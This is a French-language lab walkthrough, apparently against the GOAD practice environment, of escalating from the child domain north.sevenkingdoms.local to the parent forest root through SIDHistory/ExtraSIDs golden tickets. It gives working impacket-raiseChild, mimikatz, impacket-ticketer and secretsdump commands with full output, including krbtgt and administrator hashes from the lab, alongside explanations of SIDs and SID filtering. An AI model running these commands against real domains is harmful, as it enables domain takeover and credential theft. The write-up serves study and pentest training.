Aller au contenu principal

CH1 - SEVENKINGDOMS

Exploitation de la relation de confiance entre NORTH et SEVENKINGDOMS avec impacket-raisechild

Un outil connu lorsque nous avons un domaine enfant est impacket-raiseChild. Nous tentons de l'exécuter :

Output raiseChild
impacket-raiseChild north.sevenkingdoms.local/samwell.tarly:Heartsbane              
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Raising child domain north.sevenkingdoms.local
[*] Forest FQDN is: sevenkingdoms.local
[*] Raising north.sevenkingdoms.local to sevenkingdoms.local
[*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-748864312-3157632180-313794574-519
[*] Getting credentials for north.sevenkingdoms.local
north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:973a30988c2e877851738b51f477514f:::
north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:3edede9cfe62c717e4676263309cc1dc8baa448b31abbb7b59d142095b0238e0
[*] Getting credentials for sevenkingdoms.local
sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:eaa85b50854ea86a640d531aa2d82058:::
sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:9ef03de69a5288f15562c71c2e62cf3c28b58c17aebfc7cea4c43b0da1a0bb65
[*] Target User account name is Administrator
sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827

C'est magique, nous avons le hash de l'administrateur du domaine SEVENKINGDOMS. Essayons de comprendre ce qu'il s'est passé.

Exploitation manuelle

Explication du SID et SIDHistory

Cette "vulnérabilité" se base sur le SID, et plus précisément le SIDHistory.

SID, SIDHistory

Le SID (Security Identifier) est un identifiant unique, qui est attribué à chaque utilisateur, groupe, ordinateur, etc. Il est composé de 4 parties :

  • SID de l'autorité de sécurité : identifie l'autorité de sécurité qui a émis le SID. Il est toujours le même pour un domaine donné.
  • Révision : identifie la version du SID. Généralement 1.
  • Identificateur relatif (RID) : Partie unique du SID qui distingue chaque utilisateur ou groupe au sein d’un domaine spécifique.
  • SIDHistory : identifie les anciens SID de l'objet de sécurité.

Un exemple :

S-1-5-21-748864312-3157632180-313794574-519
  • 1 : Révision
  • 5 : Autorité de sécurité (Ici la valeur 5 correpsond à l'autorité de sécurité NT AUTHORITY)
  • 21-748864312-3157632180-313794574 : Identificateur de domaine (unique à chaque domaine, généré lors de la création du domaine)
  • 519 : Identificateur relatif

Certains RID sont attribués par défaut à des groupes connus. Par exemple, le RID 519 correspond au groupe Entreprise Admins. Le RID 512 correspond quant à lui au groupe Domain Admins.

A noter que le SID est la valeur qui est vérifiée par un serveur pour déterminer les droits d'un utilisateur, et non le nom d'utilisateur.

Nous pouvons alors déterminer les SID présents dans le domaine avec impacket-lookupsid :

Output impacket-lookupsid north.sevenkingdoms.local
impacket-lookupsid north.sevenkingdoms.local/samwell.tarly:[email protected] -domain-sids
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 192.168.56.11
[*] StringBinding ncacn_np:192.168.56.11[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1328384573-4090356449-2552632942
500: NORTH\Administrator (SidTypeUser)
501: NORTH\Guest (SidTypeUser)
502: NORTH\krbtgt (SidTypeUser)
512: NORTH\Domain Admins (SidTypeGroup)
513: NORTH\Domain Users (SidTypeGroup)
514: NORTH\Domain Guests (SidTypeGroup)
515: NORTH\Domain Computers (SidTypeGroup)
516: NORTH\Domain Controllers (SidTypeGroup)
517: NORTH\Cert Publishers (SidTypeAlias)
520: NORTH\Group Policy Creator Owners (SidTypeGroup)
521: NORTH\Read-only Domain Controllers (SidTypeGroup)
522: NORTH\Cloneable Domain Controllers (SidTypeGroup)
525: NORTH\Protected Users (SidTypeGroup)
526: NORTH\Key Admins (SidTypeGroup)
553: NORTH\RAS and IAS Servers (SidTypeAlias)
571: NORTH\Allowed RODC Password Replication Group (SidTypeAlias)
572: NORTH\Denied RODC Password Replication Group (SidTypeAlias)
1000: NORTH\vagrant (SidTypeUser)
1001: NORTH\WINTERFELL$ (SidTypeUser)
1102: NORTH\DnsAdmins (SidTypeAlias)
1103: NORTH\DnsUpdateProxy (SidTypeGroup)
1104: NORTH\SEVENKINGDOMS$ (SidTypeUser)
1105: NORTH\CASTELBLACK$ (SidTypeUser)
1106: NORTH\Stark (SidTypeGroup)
1107: NORTH\Night Watch (SidTypeGroup)
1108: NORTH\Mormont (SidTypeGroup)
1109: NORTH\AcrossTheSea (SidTypeAlias)
1110: NORTH\arya.stark (SidTypeUser)
1111: NORTH\eddard.stark (SidTypeUser)
1112: NORTH\catelyn.stark (SidTypeUser)
1113: NORTH\robb.stark (SidTypeUser)
1114: NORTH\sansa.stark (SidTypeUser)
1115: NORTH\brandon.stark (SidTypeUser)
1116: NORTH\rickon.stark (SidTypeUser)
1117: NORTH\hodor (SidTypeUser)
1118: NORTH\jon.snow (SidTypeUser)
1119: NORTH\samwell.tarly (SidTypeUser)
1120: NORTH\jeor.mormont (SidTypeUser)
1121: NORTH\sql_svc (SidTypeUser)
1122: NORTH\john (SidTypeUser)

Une fois que nous avons posé le concept de SID, nous pouvons aborder le concept de SIDHistory.

Le SIDHistory est un concept, qui, de base était utilisé de manière légitime dans le cas d'une migration d'un compte d'un AD à un autre :


Forge d'un Golden Ticket et Exploitation manuelle

Kerberos, TGT, TGS, etc...

Cette partie aborde des concepts inhérents à Kerberos. Si vous ne connaissez pas Kerberos, je vous invite à lire cet article.

Donc, si nous avons le contrôle d'un domaine enfant (NORTH.SEVENKINGDOMS.LOCAL), nous pouvons avoir le hash du compte krbtgt (qui sert a forger des tickets TGT), forger un ticket TGT (avec le SIDHistory dedans), et faire un Pass the ticket !

Le déroulement serait le suivant :


ExtraSIDs et SIDHistory

L'ExtraSIDs est un champ dans les tickets Kerberos, qui permet d'ajouter des SID dans le ticket. Ce champ est utilisé pour ajouter le SIDHistory dans le ticket TGT.

Ce dernier est un champ MS-PAC du ticket Kerberos, dont voici la documentation : https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/311aab27-ebdf-47f7-b939-13dc99b15341?redirectedfrom=MSDN

Nous avons alors 2 manières de forger un ticket TGT :

  • Avec mimikatz :
kerberos::golden /admin:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-1328384573-4090356449-2552632942 /sids:S-1-5-21-748864312-3157632180-313794574-519 /krbtgt:973a30988c2e877851738b51f477514f /startoffset:0 /endin:600 /renewmax:10080 /ptt

Puis nous pouvons accéder aux ressources de SEVENKINGDOMS.LOCAL :


  • Avec impacket-ticketer

Output impacket-ticketer
impacket-ticketer -nthash 973a30988c2e877851738b51f477514f \
-domain-sid S-1-5-21-1328384573-4090356449-2552632942 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-748864312-3157632180-313794574-519 \
goldenuser

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for north.sevenkingdoms.local/goldenuser
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in goldenuser.ccache

Le ticket est sauvé dans le fichier goldenuser.ccache, nous devons alors l'exporter dans la variable d'environnement KRB5CCNAME :

export  KRB5CCNAME=goldenuser.ccache

Puis ensuite nous pouvons utiliser ce ticket kerberos en signifiant le flag -k :

Output impacket-secretsdump
impacket-secretsdump -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/[email protected]

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:eaa85b50854ea86a640d531aa2d82058:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
tywin.lannister:1112:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1113:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080:::
cersei.lannister:1114:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:::
tyron.lannister:1115:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998:::
robert.baratheon:1116:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe:::
joffrey.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1:::
renly.baratheon:1118:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfcd49bce:::
stannis.baratheon:1119:aad3b435b51404eeaad3b435b51404ee:d75b9fdf23c0d9a6549cff9ed6e489cd:::
petyer.baelish:1120:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210:::
lord.varys:1121:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59:::
maester.pycelle:1122:aad3b435b51404eeaad3b435b51404ee:9a2a96fa3ba6564e755e8d455c007952:::
KINGSLANDING$:1001:aad3b435b51404eeaad3b435b51404ee:abae99f0ca21da271dc9e7f6228dc829:::
NORTH$:1104:aad3b435b51404eeaad3b435b51404ee:8ebbd52cd5a81b6114389a0d886c187c:::
[*] Cleaning up...

Analyse du TGT forgé

Avec impacket-ticketer, nous avons l'avantage (avec le flag debug) d'analyser le ticket TGT forgé :

EffectiveName:                   'goldenuser' 

Nous avons bien un nom d'un utilisateur qui n'existe pas, mais ce sera bien le SID et non de nom d'utilisateur qui sera examiné par le DC pour déterminer nos droits.

LogonDomainId:                  
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1328384573,
4090356449,
2552632942,
]

Nous retrouvons le SID du domaine NORTH.SEVENKINGDOMS.LOCAL.

ExtraSids:                      
[

Sid:
Revision: 1
SubAuthorityCount: 5
IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
748864312,
3157632180,
313794574,
519,
]
Attributes: 7 ,
]

Enfin, dans le champ ExtraSids, nous avons bien le SIDHistory correspondant au groupe Enterprise Admins du domaine SEVENKINGDOMS.LOCAL.

Entièreté du ticket TGT forgé
CommonHeader:                   
Version: 1
Endianness: 16
CommonHeaderLength: 8
Filler: 3435973836
PrivateHeader:
ObjectBufferLength: 504
Filler: 3435973836
Data:
LogonTime:
dwLowDateTime: 358197248
dwHighDateTime: 31078712
LogoffTime:
dwLowDateTime: 4294967295
dwHighDateTime: 2147483647
KickOffTime:
dwLowDateTime: 4294967295
dwHighDateTime: 2147483647
PasswordLastSet:
dwLowDateTime: 358197248
dwHighDateTime: 31078712
PasswordCanChange:
dwLowDateTime: 0
dwHighDateTime: 0
PasswordMustChange:
dwLowDateTime: 4294967295
dwHighDateTime: 2147483647
EffectiveName: 'goldenuser'
FullName: ''
LogonScript: ''
ProfilePath: ''
HomeDirectory: ''
HomeDirectoryDrive: ''
LogonCount: 500
BadPasswordCount: 0
UserId: 500
PrimaryGroupId: 513
GroupCount: 5
GroupIds:
[

RelativeId: 513
Attributes: 7 ,

RelativeId: 512
Attributes: 7 ,

RelativeId: 520
Attributes: 7 ,

RelativeId: 518
Attributes: 7 ,

RelativeId: 519
Attributes: 7 ,
]
UserFlags: 32
UserSessionKey:
Data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
LogonServer: ''
LogonDomainName: 'NORTH.SEVENKINGDOMS.LOCAL'
LogonDomainId:
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1328384573,
4090356449,
2552632942,
]
LMKey: b'\x00\x00\x00\x00\x00\x00\x00\x00'
UserAccountControl: 528
SubAuthStatus: 0
LastSuccessfulILogon:
dwLowDateTime: 0
dwHighDateTime: 0
LastFailedILogon:
dwLowDateTime: 0
dwHighDateTime: 0
FailedILogonCount: 0
Reserved3: 0
SidCount: 1
ExtraSids:
[

Sid:
Revision: 1
SubAuthorityCount: 5
IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
748864312,
3157632180,
313794574,
519,
]
Attributes: 7 ,
]
ResourceGroupDomainSid: NULL
ResourceGroupCount: 0
ResourceGroupIds: NULL

[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[+] Customized EncTicketPart
EncTicketPart:
flags=1356857344
key=EncryptionKey:
keytype=23
keyvalue=JEpRhlIuxULxqkGB

crealm=NORTH.SEVENKINGDOMS.LOCAL
cname=PrincipalName:
name-type=1
name-string=SequenceOf:
goldenuser

transited=TransitedEncoding:
tr-type=0
contents=

authtime=20231228024640Z
starttime=20231228024640Z
endtime=20331225024640Z
renew-till=20331225024640Z
authorization-data=AuthorizationData:
Sequence:
ad-type=1
ad-data=0x308202fa308202f6a00402020080a18202ec048202e80600000000000000010000000802000068000000000000000a0000001e000000700200000000000011000000080000009002000000000000120000001c00000098020000000000000600000014000000b8020000000000000700000014000000d00200000000000001100800ccccccccf8010000ccccccccd649000000a859153839da01ffffffffffffff7fffffffffffffff7f00a859153839da010000000000000000ffffffffffffff7f14001400b92f000000000000de3a000000000000d82000000000000009750000000000006918000000000000188a0000f4010000f40100000102000005000000353b000020000000000000000000000000000000000000000000000031b2000032003200c69400009d5c00000000000000000000100200000000000000000000000000000000000000000000000000000000000001000000e11500000000000000000000000000000a000000000000000a00000067006f006c00640065006e00750073006500720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000010200000700000000020000070000000802000007000000060200000700000007020000070000000000000000000000000000001900000000000000190000004e004f005200540048002e0053004500560045004e004b0049004e00470044004f004d0053002e004c004f00430041004c00eeee040000000104000000000005150000003d8a2d4fe1e2cdf36e16269801000000f94d0000070000000500000001050000000000051500000038c3a22cb4a435bc0e20b4120702000000a859153839da01140067006f006c00640065006e007500730065007200000002000000010000000105000000000005150000003d8a2d4fe1e2cdf36e162698f40100000000000076ffffffebda403cb632e609edbd1c22fd141ca50000000076ffffff82b8574f20256efd5d3e5e616263c10b00000000




[*] EncTicketPart
[*] EncASRepPart
[+] Final Golden Ticket
AS_REP:
pvno=5
msg-type=11
crealm=NORTH.SEVENKINGDOMS.LOCAL
cname=PrincipalName:
name-type=1
name-string=SequenceOf:
goldenuser

ticket=Ticket:
tkt-vno=5
realm=NORTH.SEVENKINGDOMS.LOCAL
sname=PrincipalName:
name-type=2
name-string=SequenceOf:
krbtgt NORTH.SEVENKINGDOMS.LOCAL

enc-part=EncryptedData:
etype=23
kvno=2
cipher=0x6fb8415500599b6af825f58610210d69bff72532204c6851974908a89d7e8ddedd706c687a18203e5d11d2d07f1aa3a615c55fd3f06803df943e8322b27c643b823f3c9f4007608c8c480ade59acc9c0daf145c9c8863237e4946b2b6422459403df70afc1eb238c37aa441fe33b9e1df9dbbd3cbf1a4afdeaad6ca8af7669ea548cb38be24637c2759e933a993e3fa42ecfc748c4e445c4ab69c480630cf6dd61723cccfe50dbf574089a5250dd5bd0588b8cba5d78bc5930af9fb1730c670dfcaae967ccec3ed30ee2c787889f4ba2c4816c6056943dce436f1036317e371b61029e8cffd4814e3b8c4ab325376ca8ca2db5208f785ab1d38cdbdbde790ee600907057b15e7555646135c623d0c9c8c935adb3969e3f0ef6a710f92c9a3faaf67f4e7ea6e17696cdbc42cff4e336ca2e306be2ee488ca24e272553ffb2fef33a31753a1a591a9fc837538be9dfa939ecdcb8ecc206aaee0baf24297bb1ba01bcac215383d036e1735cb0acf2acbce01576f7d720ee05767ad6a1b3d02e9490295826807e8d8d63338ba0a5a2054fd8e478e88acb9e143727f683e12a86f8f11d4363505cde626fc754d80fe35294a70e42af457deefbd9180e5a5410397b714a9ab85cbb05e799d201a3571c4dd1a035faae003e8980bb3a9117393220edfa57e64ff8aee2e6aa87406e16f810cf64c95340fb78c941e8aa9eaee0cd01830bc54d92d875cb92020d0095f8dd148505b46ea1c42b81c68229150dd0f6e3c589782007875868675a1ccc4631597ee14d3d241d3dc5cb7bce63cdc38b69fb7d12254d7569a6ab131c389de82d70fea4a11f97e30e75e3a7f20c31d06c0fcc2ed11c57c3db122edf055e2d0bbe8127ba01f7a6cc4f523fbfcd879718b3867fc7d4d7197861eb9a349f2529b96fafaf06340704d6e54d771c9a6f455ed001bb1eb26f8deb673c46ca029f5b938426cbed555a19dc9110874c422e8c134a1bb11562d26b38b20c7e41a9e07173c1eb5e7dc5103df41a2e39dbb6458053841e9c5cfc92c3f8be5572a40d073c1fcecaba583afaf1a50c95bc73dc601391d72f27d9fa946c123335a190e27a5153c4ad005b6f587a7ddc3aefbe599dde43f94425c8f3a31bfb4b65e6576da59085d4457b9ac0110faf8c5fe898589971e738c1b674ab845bbb0897a26c16f96e60b90b4ffc3cedac98eb0e1b74bfb4ed7a1b6e0c7faedaf7853a4fdc36c24cadbb095e1aecc28c424bc7e031cf0952bf69d51e24bd5b7fbc680013b8392bd16c12fec81656b98ad5be9540948e6a160b1d0c082d03faae5a26b36011845318dfe4250a13db9bdbca2a5779c224df4b065b8d9a20ba1be772e594e16a306fe4b0120a484fb97afc948270ae78e7c5ce25c99e09a2a16958e0e41cf8df2b4b496eb9a4


enc-part=EncryptedData:
etype=23
kvno=1
cipher=0x1dae9258ab77cf062b8f7944d4459ae39b1f18b7d5adaac906f17d5fb24a9742a9845191cebe09f09191b32905f2dcd97dd38c8dcd07d6aef473fd89cd880f6d6756aebea6a7fadbf7ec8a98a9b69f602f9670c3a56ecd4d31eb3683f891846f150b7ac17908d774f2c627a6abe39776244875f53a2083d361f0894fe9c9bfc20d4ff595f6bd6010a5397c4476d741a202fe98c0215f59c5e8a0920c46bb85a559a6e12b11cbbc329e46494bd58d895cac2c14e8bf33e45a11554e2d25c9183d569ce1a4e92d7f481ce7f9542ba76626409fd54acd69982878793b81551e0949123d1fe6a507fb6e03ede710147a2771f106b4d23773c21923aa3a30002f82b2bf5e2138b5a583c624c5ca9f7767cdad25cb1decae29

Conclusion et pourquoi cette attaque fonctionne

Microsoft, dans sa documentation, explique qu'il n'y a aucune isolation entre les domaines enfants et parents, et que la frontière entre les 2 ne devraient jamais être considéré comme une segmentation/isolation entre ces 2 derniers.

Des mécanismes existent contre cette "vulnérabilité", notamment le SID Filtering qui consiste à filtrer les requêtes contenant des SID critiques et connus dans le SIDHistory/ExtraSID.

Ce mécanisme est activé par défaut, mais est activé par SID. Par conséquent, le SID Enterprise Admins est désigné comme ForestSpecific et est donc filtré entre les forêts, mais non entre sous domaines.

Il y a fort a parier que ce paramètrage par défaut ne sera donc probablement jamais corrigé, les pentesteurs et hackers peuvent donc s'en donner à coeur joie !

Ressources